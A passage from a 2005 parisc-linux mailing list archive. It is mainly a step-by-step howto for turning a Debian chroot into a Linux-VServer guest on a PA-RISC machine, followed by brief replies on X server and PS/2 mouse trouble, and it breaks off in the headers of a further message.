util-vserver-0.30.209.build/lib/syscall-fallback.h--- util-vserver-0.30.209.Orig/lib/syscall-fallback.h   2005-10-28
18:09:27.000000000 +0200
+++ util-vserver-0.30.209.build/lib/syscall-fallback.h  2005-12-11 12:33:45.000000000 +0100
@@ -45,7 +45,7 @@
  #elif  defined(__mips__) && (_MIPS_SIM == _MIPS_SIM_NABI32)
  #define __NR_vserver   236
  #elif  defined(__hppa__)
-#define __NR_vserver   *
+#define __NR_vserver   263
  #elif  defined(__powerpc__)
  #define __NR_vserver   257
  #elif  defined(__s390__)
====<>====

2.2.b/ configure tools as per debian pkg spec:
CFLAGS="-Wall -g  -O2" ./configure \
         --build hppa-linux-gnu \
         --prefix=/usr --enable-release \
         --mandir=/usr/share/man \
         --infodir=/usr/share/info \
         --sysconfdir=/etc \
         --disable-dietlibc \
         --localstatedir=/var \
         --with-vrootdir=/var/lib/vservers

(this get rid of dietlibc which is afaik not available for hppa, though)

2.3/ install tools:
# make
# make install
and as per 'make install' advise:
# make install-distribution

# mkdir /var/lock/subsys


2.4/ install util vserver startup script

# update-rc.d vprocunhide defaults 25 15
# update-rc.d vservers-legacy defaults 90 02
# update-rc.d rebootmgr defaults 30 10
# update-rc.d vservers-default defaults 90 02

and set barrier (assuming it's a new install)
# setattr --barrier /var/lib/vservers

3/ test:
follow here advise of test in above 0/ reference.

4/ Create the vserver skeleton:
# vserver --verbose DebSid build  -m skeleton --hostname hplvsrvr --netdev eth0 --interface 192.168.248.145/24

(see 0.2/ for details)

5/ Change the existing chroot disk utilization into a vserver:

5.1/ the original mount points were obviously:
#/dev/sdl3      /chroot/boot            ext3    defaults,errors=continue        0       2
#/dev/sdl6      /chroot/var             ext3    defaults,errors=continue        0       2
#/dev/sdl7      /chroot/tmp             ext3    defaults,errors=continue        0       2
#/dev/sdl8      /chroot/home            ext3    defaults,errors=continue        0       2
#/dev/sdl9      /chroot/Develop         ext3    defaults,errors=continue        0       2

which had to be unmounted (as well as eventual proc and devpts)

5.2/ Backup the related vserver vdirbase

# cd /var/lib/vservers/
# mv DebSid DebSid.Orig
# mkdir DebSid

5.3/ change the mount point of the host fstab:

# New mount point for vserver
/dev/sdc5       /var/lib/vservers/DebSid                ext3    defaults,errors=continue        0       0
/dev/sdc3       /var/lib/vservers/DebSid/boot           ext3    defaults,errors=continue        0       0
/dev/sdc6       /var/lib/vservers/DebSid/var            ext3    defaults,errors=continue        0       0
/dev/sdc7       /var/lib/vservers/DebSid/tmp            ext3    defaults,errors=continue        0       0
/dev/sdc8       /var/lib/vservers/DebSid/home           ext3    defaults,errors=continue        0       0
/dev/sdc9       /var/lib/vservers/DebSid/Develop        ext3    defaults,errors=continue        0       0

# mount -a

5.4/ Backup guest dev and sysvinit scripts.

Note: this step is only because I would like to save the oportunity to boot with the disk

5.4.1/ pseudo devices

#  cd /var/lib/vservers/DebSid
# mv dev dev.Orig

btw install the one that skeleton install ;-)

# cd ../DebSid.Orig
# find dev | cpio -mpduv ../DebSid

(already prepare env for pre-start/post-stop stuff)
# cd -
# mv dev dev.VPS ; ln -s dev.VPS dev

5.4.2/ sysvinit scripts

# cd /var/lib/vservers/DebSid/etc
# mkdir init.d.Orig rc0.d.Orig rc1.d.Orig rc2.d.Orig rc3.d.Orig rc4.d.Orig rc5.d.Orig rc6.d.Orig rcS.d.Orig default.Orig
# cd init.d ; find . | cpio -mpduv ../init.d.Orig
# cd ../rc0.d ; find . | cpio -mpduv ../rc0.d.Orig
# cd ../rc1.d ; find . | cpio -mpduv ../rc1.d.Orig
# cd ../rc2.d ; find . | cpio -mpduv ../rc2.d.Orig
# cd ../rc3.d ; find . | cpio -mpduv ../rc3.d.Orig
# cd ../rc4.d ; find . | cpio -mpduv ../rc4.d.Orig
# cd ../rc5.d ; find . | cpio -mpduv ../rc5.d.Orig
# cd ../rc6.d ; find . | cpio -mpduv ../rc6.d.Orig
# cd ../rcS.d ; find . | cpio -mpduv ../rcS.d.Orig
# cd ../default ; find . | cpio -mpduv ../default.Orig

5.4.3/ remove some startup script
(see advises 0.1/)

# cd ../rc0.d
# rm K20makedev K25hwclock.sh S30urandom S31umountnfs.sh  S35networking S36ifupdown S40umountfs S90halt K89klogd
# cd ../rc6.d
# rm K20makedev K25hwclock.sh S30urandom S31umountnfs.sh  S35networking S36ifupdown S40umountfs S90reboot K89klogd
# cd ../rcS.d
# rm S05keymap.sh S48console-screen.sh S50hwclock.sh S40networking  S45mountnfs.sh S10checkroot.sh S02mountvirtfs
# rm S30procps.sh S35mountall.sh S36mountvirtfs S39ifupdown S30checkfs.sh S18ifupdown-clean S18hwclockfirst.sh
# cd ../rc2.d
# rm S20makedev S11klogd

5.4.4 prepare pre-start/post-stop

# cd /var/lib/vservers/DebSid/etc/

# mv default default.VPS ; ln -s default.VPS default
# mv init.d init.d.VPS; ln -s init.d.VPS init.d
# mv rc0.d rc0.d.VPS ; ln -s rc0.d.VPS rc0.d
# mv rc1.d rc1.d.VPS ; ln -s rc1.d.VPS rc1.d
# mv rc2.d rc2.d.VPS ; ln -s rc2.d.VPS rc2.d
# mv rc3.d rc3.d.VPS ; ln -s rc3.d.VPS rc3.d
# mv rc4.d rc4.d.VPS ; ln -s rc4.d.VPS rc4.d
# mv rc5.d rc5.d.VPS ; ln -s rc5.d.VPS rc5.d
# mv rc6.d rc6.d.VPS ; ln -s rc6.d.VPS rc6.d
# mv rcS.d rcS.d.VPS ; ln -s rcS.d.VPS rcS.d

5.4.5 install pre-start/post-stop scripts

# more /etc/vservers/DebSid/scripts/prepre-start
#!/bin/bash
#set -x

echo "$0 fixes sysvinit script's dir."

LNS="/bin/ln -s"
RMF="/bin/rm -f"
VPS_CFG="/var/lib/vservers"
VSP_MP="$VPS_CFG/DebSid"
VSP_Etc="$VSP_MP/etc"
VPS_SUFIX="VPS"
ORIG_SUFIX="Orig"
SUFIX="$ORIG_SUFIX"
InitDir="default init.d rc0.d rc1.d rc2.d rc3.d rc4.d rc5.d rc6.d rcS.d"

LinkDir () {

     LN_NAME="$1"
     LN_SRC="$LN_NAME.$SUFIX"

     if [ -d "$LN_SRC" ]
     then
         if [ -h "$LN_NAME" ]
         then
             $RMF "$LN_NAME"
             RC=$?
             if [ $RC -ne 0 ]
             then
                 echo "Failed to rm link $LN_NAME: please check !!!"
                 exit 1
             else
                 $LNS "$LN_SRC" "$LN_NAME"
                 RC=$?
                 if [ $RC -ne 0 ]
                 then
                     echo "Link $LN_NAME -> $LN_SRC failed."
                     exit 1
                 else
                     echo "Link $LN_NAME -> $LN_SRC is created."
                 fi
             fi
         else
             echo "$LN_NAME is not a link: please check !!!"
             exit 1
         fi
     else
         echo "$LN_SRC doesn't exist: please check !!!"
         exit 1
     fi
}

# dev
cd "$VSP_MP"
LinkDir dev

cd "$VSP_Etc"
for dir in $InitDir
do
     LinkDir "$dir"
done

exit 0
====<>====

# diff -Nau /etc/vservers/DebSid/scripts/prepre-start /etc/vservers/DebSid/scripts/postpost-stop
--- /etc/vservers/DebSid/scripts/prepre-start   2005-12-26 13:07:57.000000000 +0100
+++ /etc/vservers/DebSid/scripts/postpost-stop  2005-12-26 13:08:26.000000000 +0100
@@ -10,7 +10,7 @@
  VSP_Etc="$VSP_MP/etc"
  VPS_SUFIX="VPS"
  ORIG_SUFIX="Orig"
-SUFIX="$VPS_SUFIX"
+SUFIX="$ORIG_SUFIX"
  InitDir="default init.d rc0.d rc1.d rc2.d rc3.d rc4.d rc5.d rc6.d rcS.d"

  LinkDir () {
====<>====

# chmod u+x /etc/vservers/DebSid/scripts/prepre-start
# chmod u+x /etc/vservers/DebSid/scripts/postpost-stop


5.4.6/ some more customization (mtab and fstab)

Here are what look like mentioned files:

# more /etc/vservers/DebSid/apps/init/mtab
/dev/sdl5	/		ext3 rw,errors=continue 0 0
/dev/sdl3	/boot		ext3 rw,errors=continue 0 0
/dev/sdl6	/var		ext3 rw,errors=continue 0 0
/dev/sdl7	/tmp		ext3 rw,errors=continue 0 0
/dev/sdl8	/home		ext3 rw,errors=continue 0 0
/dev/sdl9	/Develop	ext3 rw,errors=continue 0 0

# more /etc/vservers/DebSid/fstab
none    /proc           proc    defaults                0 0
#none   /tmp            tmpfs   size=16m,mode=1777      0 0
none    /dev/pts        devpts  gid=5,mode=620          0 0

6/ Customize sshd for host and guest

For the host change the listen address:
(see /etc/ssh/sshd_config)
ListenAddress 192.168.248.45

Teh same for the guest:
(see /var/lib/vservers/DebSid/etc/ssh/sshd_config
ListenAddress 192.168.248.145


7/ first guest (aka DebSid here) start

7.1/ Start
It's now time to check if everything goes right:

# vserver DebSid start
  # vserver DebSid start
/etc/vservers/DebSid/scripts/prepre-start fixes sysvinit script's dir.
Link dev -> dev.VPS is created.
Link default -> default.VPS is created.
Link init.d -> init.d.VPS is created.
Link rc0.d -> rc0.d.VPS is created.
Link rc1.d -> rc1.d.VPS is created.
Link rc2.d -> rc2.d.VPS is created.
Link rc3.d -> rc3.d.VPS is created.
Link rc4.d -> rc4.d.VPS is created.
Link rc5.d -> rc5.d.VPS is created.
Link rc6.d -> rc6.d.VPS is created.
Link rcS.d -> rcS.d.VPS is created.
Starting system message bus: dbus-1.
Starting MTA: exim4.
Starting printer spooler: lpd.
Starting network benchmark server: netserver.
Starting OpenBSD Secure Shell server: sshd.
sadc not enabled in /etc/default/sysstat, not starting.
Setting up X font server socket directory /tmp/.font-unix...done.
Starting X font server: xfs.
Starting internet superserver: xinetd.
Starting file alteration monitor: FAM.
Starting NTP server: ntpd.
Starting anac(h)ronistic cron: anacron.
Starting deferred execution scheduler: atd.
Starting periodic command scheduler: cron.
Starting GNOME Display Manager: gdm.


          _sudZUZ#Z#XZo=_         DDDD   EEEEEE BBBB   IIIIII  AAAA   NN   NN
       _jmZZ2!!~---~!!X##wa       DD DD  EE     BB BB    II   AA  AA  NNN  NN
    .<wdP~~            -!YZL,     DD  DD EEEEE  BBBBB    II   AAAAAA  NNNN NN
   .mX2'       _%aaa__     XZ[.   DD DD  EE     BB  BB   II   AA  AA  NN NNNN
   oZ[      _jdXY!~?S#wa   ]Xb;   DDDD   EEEEEE BBBBB  IIIIII AA  AA  NN   NN
  _#e'     .]X2(     ~Xw|  )XXc
.2Z`      ]X[.       xY|  ]oZ(   Linux Version 2.6.14.4-vs2.1.0-pa0-c110
.2#;      )3k;     _s!~   jXf`   Compiled #3 Fri Dec 23 18:31:07 CET 2005
  1Z>      -]Xb/    ~    __#2(    One 120MHz PA-RISC Raven 120 T' Processor, 512M RAM
  -Zo;       +!4ZwaaaauZZXY'      119.60 Bogomips Total
   *#[,        ~-?!!!!!!-~        hplvsrvr
    XUb;.
     )YXL,,
       +3#bc,
         -)SSL,,
            ~~~~~
Updating the operating system logo: linuxlogo.

Cool ;-)

7.2/ Some check

# vserver-stat
CTX   PROC    VSZ    RSS  userTIME   sysTIME    UPTIME NAME
0       69 175.4M  58.5M  24m56s43  22m25s10  10h52m53 root server
49156    8  45.2M  10.9M   0m01s60   0m02s64   0m23s34 DebSid

More ... enter the guest

# vserver DebSid enter
root@hplvsrvr:/#

root@hplvsrvr:/# hostname
hplvsrvr

(should be the hostname given while the verser build and which could be different of the original chroot/boot disk:
root@hplvsrvr:/# cat /etc/hostname
hpalin
  ;-) )

root@hplvsrvr:/# df -k
Filesystem           1K-blocks      Used Available Use% Mounted on
/dev/sdc5              1692220   1022512    583748  64% /
/dev/sdc3               123767      8728    108649   8% /boot
/dev/sdc6               247511    113405    121327  49% /var
/dev/sdc7               123735      4155    113191   4% /tmp
/dev/sdc8               123735      4163    113183   4% /home
/dev/sdc9              1513656   1343508    154772  90% /Develop

root@hplvsrvr:/# top -n1 -b
top - 20:54:42 up 2 min,  0 users,  load average: 0.13, 0.14, 0.06
Tasks:  10 total,   1 running,   9 sleeping,   0 stopped,   0 zombie
Cpu(s):  3.0% us,  3.5% sy,  1.0% ni, 90.8% id,  1.7% wa,  0.0% hi,  0.1% si
Mem:    512248k total,   488728k used,    23520k free,    50052k buffers
Swap:   131832k total,        4k used,   131828k free,   345232k cached

   PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND
16939 root      15   0  2952 1160  904 R  1.8  0.2   0:00.11 top
     1 root      16   0  2292  708  572 S  0.0  0.1   0:31.77 init
16638 messageb  21   0  2780  808  624 S  0.0  0.2   0:00.04 dbus-daemon-1
16763 root      16   0  8340 1096  620 S  0.0  0.2   0:00.01 exim4
16787 root      18   0  5936 3336  712 S  0.0  0.7   0:02.60 xfs
16799 root      19   0  4516 1388 1112 S  0.0  0.3   0:00.17 xinetd
16850 daemon    21   0  2416  476  312 S  0.0  0.1   0:00.01 atd
16853 root      16   0  2588  952  736 S  0.0  0.2   0:00.10 cron
16868 root      15   0 13488 1932 1184 S  0.0  0.4   0:00.06 gdm
16921 root      15   0  3520 1836 1396 S  0.0  0.4   0:01.26 bash

(Excepted init here are the only process launch and known by thw guest, not seen by the host's top)

(next would require iproute dpkg installed: just usual apt-get install in the guest server made the drill)

root@hplvsrvr:/# ip addr show
2: eth0: <BROADCAST,MULTICAST,UP> mtu 1500 qdisc pfifo_fast qlen 1000
     link/ether 00:60:b0:07:1e:ea brd ff:ff:ff:ff:ff:ff
     inet 192.168.248.145/24 brd 192.168.248.255 scope global secondary eth0


 From a remote sever you would also be able to login the guest
$ ssh 192.168.248.145
The authenticity of host '192.168.248.145 (192.168.248.145)' can't be established.
RSA key fingerprint is 10:b7:90:32:fa:46:4e:48:be:bd:26:61:9c:e8:b0:a0.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.248.145' (RSA) to the list of known hosts.
Password:


The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
jso@hplvsrvr:~$ top -n1 -b
top - 21:02:57 up 11 min,  1 user,  load average: 0.02, 0.04, 0.03
Tasks:  13 total,   1 running,  12 sleeping,   0 stopped,   0 zombie
Cpu(s):  3.0% us,  3.4% sy,  0.9% ni, 90.9% id,  1.6% wa,  0.0% hi,  0.1% si
Mem:    512248k total,   492372k used,    19876k free,    50412k buffers
Swap:   131832k total,        4k used,   131828k free,   347120k cached

   PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND
16973 jso       15   0  2952 1164  904 R  1.8  0.2   0:00.13 top
     1 root      16   0  2292  708  572 S  0.0  0.1   0:31.77 init
16638 messageb  21   0  2780  808  624 S  0.0  0.2   0:00.04 dbus-daemon-1
16787 root      16   0  5936 3340  716 S  0.0  0.7   0:02.60 xfs
16799 root      19   0  4516 1388 1112 S  0.0  0.3   0:00.17 xinetd
16850 daemon    21   0  2416  476  312 S  0.0  0.1   0:00.01 atd
16853 root      16   0  2588  952  736 S  0.0  0.2   0:00.11 cron
16868 root      15   0 13488 1932 1184 S  0.0  0.4   0:00.06 gdm
16921 root      16   0  3528 1880 1432 S  0.0  0.4   0:01.34 bash
16963 root      16   0  6244 1280  848 S  0.0  0.2   0:00.02 sshd
16966 root      16   0 10700 3196 2564 S  0.0  0.6   0:00.63 sshd
16969 jso       15   0 10700 1808 1172 S  0.0  0.4   0:00.07 sshd
16970 jso       15   0  3956 2016 1392 S  0.0  0.4   0:00.13 sh

jso@hplvsrvr:~$ ip addr show
2: eth0: <BROADCAST,MULTICAST,UP> mtu 1500 qdisc pfifo_fast qlen 1000
     link/ether 00:60:b0:07:1e:ea brd ff:ff:ff:ff:ff:ff
     inet 192.168.248.145/24 brd 192.168.248.255 scope global secondary eth0


7.3/ Stop

Just to be sure that all would work fine:

# vserver DebSid stop
Stopping GNOME Display Manager: gdm.
Stopping periodic command scheduler: cron.
Stopping system message bus: dbus-1.
Stopping MTA: exim4.
Stopping printer spooler: lpd not running.
Stopping network benchmark server: netserver.
Stopping rsync daemon: rsync.
Stopping OpenBSD Secure Shell server: sshd.
Stopping X font server: xfs.
Stopping internet superserver: xinetd.
Stopping file alteration monitor: FAM.
Stopping deferred execution scheduler: atd.
Sending all processes the TERM signal...done.
Sending all processes the KILL signal...done.
Saving random seed...done.
/etc/vservers/DebSid/scripts/postpost-stop fixes sysvinit script's dir.
Link dev -> dev.Orig is created.
Link default -> default.Orig is created.
Link init.d -> init.d.Orig is created.
Link rc0.d -> rc0.d.Orig is created.
Link rc1.d -> rc1.d.Orig is created.
Link rc2.d -> rc2.d.Orig is created.
Link rc3.d -> rc3.d.Orig is created.
Link rc4.d -> rc4.d.Orig is created.
Link rc5.d -> rc5.d.Orig is created.
Link rc6.d -> rc6.d.Orig is created.
Link rcS.d -> rcS.d.Orig is created.


8/ start/stop at the host reboot?

# echo "default" > /etc/vservers/DebSid/apps/init/mark

reboot would confirm that

That's all folk.

Hth,
	Joel

PS: 7.4/ independent 'apt-get dist-upgrade' of guest:

I can use now apt-get to ugrade independently my guest system because:
	o this guest is mainly a test bed for very unstable stuff like libc6
	o my host is a testing debian and my guest is an unstable, though.

Because /etc/default, /etc/init.d are actualy /etc/default.VPS and /etc/init.d.VPS, I have to take care to sync *.Orig.
As well as I have to check that rc?.d (i.e. actualy rc?.d.VPS) are not updated by links that I removed here above (5.4.3/).
(still need to check the best way to do it?)

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] X startup failure / PS/2 mouse failure
Date: Wed, 28 Dec 2005 22:19:11 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <200512282219.11997.deller@gmx.de>
References: <200512280122.jBS1MB0N015839@stephenson.net.dhis.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623965 17510 80.91.229.3 (22 Nov 2014 02:39:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:25 +0000 (UTC)
Cc: Jean-Pierre HOFER <jph@stephenson.dhis.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Dec 2005 21:19:24 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx085) with SMTP; 28 Dec 2005 22:19:24 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4BB877D6D2;
	Wed, 28 Dec 2005 14:19:20 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18333-09; Wed, 28 Dec 2005 14:19:20 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 386B07D6D5;
	Wed, 28 Dec 2005 14:19:19 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6F2E17D6D2
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Dec 2005 14:19:15 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18333-05 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Dec 2005 14:19:14 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.de [213.165.64.21])
	by free.linux.hp.com (Postfix) with SMTP id 6BB9B7D6CD
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Dec 2005 14:19:14 -0700 (MST)
Original-Received: (qmail invoked by alias); 28 Dec 2005 21:19:12 -0000
Original-Received: from p54AD10B8.dip0.t-ipconnect.de (EHLO ls-cups.box) [84.173.16.184]
	by mail.gmx.net (mp006) with SMTP; 28 Dec 2005 22:19:12 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.1
In-Reply-To: <200512280122.jBS1MB0N015839@stephenson.net.dhis.org>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: C2TBY50BeSEkJ76WZHQhaXN1IGRvb4Br
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23290

On Wednesday 28 December 2005 02:22, Jean-Pierre HOFER wrote:
> Hello,
> 
> I have the same error message on a B180L, although X is starting (gdm).
> BUT the 3 buttons PS/2 mouse don't work at all
> I have the following mouse configuration in /etc/X11/XF86Config-4 :
> 
>         Section "InputDevice"
> 		Identifier      "Configured Mouse"
> 		Driver          "mouse"
> 		Option          "CorePointer"
> 		Option          "Device"                "/dev/psaux"
> 		Option          "Protocol"              "PS/2"

Try 
Device=/dev/input/mice
Protocol=imps2
and read the parisc-FAQ at http://www.parisc-linux.org/faq/index.html 

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] X startup failure
Date: Wed, 28 Dec 2005 17:31:13 -0500
Lines: 12
Approved: news@gmane.org
Message-ID: <20051228223113.GA22014@quicksilver.road.mcmartin.ca>
References: <200512272338.10264.deller@gmx.de> <200512282146.jBSLkAZZ028658@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623965 17512 80.91.229.3 (22 Nov 2014 02:39:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:25 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <kyle@quicksilver.road.mcmartin.ca>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Dec 2005 22:31:43 -0000
Original-Received: from cabal.ca (EHLO fattire.cabal.ca) [134.117.69.58]
  by mx0.gmx.net (mx009) with SMTP; 28 Dec 2005 23:31:43 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 466A123E83;
	Wed, 28 Dec 2005 17:31:34 -0500 (EST)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12530-05; Wed, 28 Dec 2005 17:31:34 -0500 (EST)
Original-Received: from quicksilver.road.mcmartin.ca (CPE0030ab0b413b-CM0012c9a9a56e.cpe.net.cable.rogers.com [70.28.1.105])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca", Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 09AA523E82;
	Wed, 28 Dec 2005 17:31:34 -0500 (EST)
Original-Received: by quicksilver.road.mcmartin.ca (Postfix, from userid 1000)
	id D6DBA3B059; Wed, 28 Dec 2005 17:31:13 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <200512282146.jBSLkAZZ028658@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.11
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: B3fBY4hueSEke76WZHQhaXN1IGRvb0C9
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23291

On Wed, Dec 28, 2005 at 04:46:09PM -0500, John David Anglin wrote:
> ||/ Name           Version        Description
> +++-==============-==============-============================================
> ii  xserver-xfree8 4.3.0.dfsg.1-1 the XFree86 X server
>

Try installing xserver-xorg. That should help.

Cheers,
	Kyle 



From - Thu Nov 08 21:34:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sym2 changes between 2.6.12 and 2.6.15
Date: Thu, 29 Dec 2005 16:24:21 -0500 (EST)
Lines: 22
Approved: news@gmane.org
Message-ID: <200512292124.jBTLOLBw004004@hiauly1.hia.nrc.ca>
References: <7d01f9f00512291016k67676c59i759121abdfa0cf24@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623965 17516 80.91.229.3 (22 Nov 2014 02:39:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: T-Bone@parisc-linux.org (Thibaut VARENE)
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Dec 2005 21:24:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx018) with SMTP; 29 Dec 2005 22:24:33 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2E0217D70B;
	Thu, 29 Dec 2005 14:24:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27670-05; Thu, 29 Dec 2005 14:24:29 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2B0CB7D70E;
	Thu, 29 Dec 2005 14:24:28 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 448007D70B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 29 Dec 2005 14:24:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27670-01 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 29 Dec 2005 14:24:24 -0700 (MST)
